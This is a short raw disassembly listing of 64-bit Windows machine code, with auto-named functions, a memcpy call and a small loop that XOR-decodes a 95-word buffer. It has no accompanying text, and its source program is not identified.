movups xmmword [rsp + 0x604], xmm6
movups xmmword [rsp + 0x614], xmm7
movups xmmword [rsp + 0x624], xmm1
nop
movzx edx, word [rsp + rax*2 + 0x574]
mov ecx, dword [rsp + 0x570]
xor edx, ecx
mov word [rsp + rax*2 + 0x574], dx
add rax, 1
cmp rax, 0x5f
jne 0x140032170
xor edx, edx
mov r8d, dword [rsp + 0x94]
lea rcx, [rsp + 0x574]
mov word [rsp + 0x632], dx
mov rdx, qword [rsp + 0x88]
call fcn.14000c8b0
jmp 0x14002ddce
lea r14, [rsp + 0x3c0]
mov rcx, rdi
xor r8d, r8d
mov qword [rsp + 0x38], r10
mov rdx, r14
call fcn.1400f5560
mov r9, qword [rsp + 0x30]
mov r10, qword [rsp + 0x38]
mov qword [rsp + 0x570], rax
mov rcx, rax
mov rax, qword [rsp + 0x3c0]
mov qword [rsp + 0x580], rax
test r10, r10
je 0x14003221f
mov r8, rbx
mov rdx, r9
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x3c0]
mov rcx, qword [rsp + 0x570]
lea rdx, [rax + rax]
jmp 0x14002de43
mov rax, r10
lea r14, [rsp + 0x3c0]
jmp 0x1400321ff
lea rcx, [0x140121820]
call fcn.14010d200
mov rbx, rax
mov rcx, rdi
call fcn.1400f2e40
mov rcx, rbx
call fcn.14004e0e0
mov rbx, rax
mov rcx, r14
call fcn.1400eed80
mov rcx, rbx
call fcn.14004e0e0
nop
nop dword [rax + rax]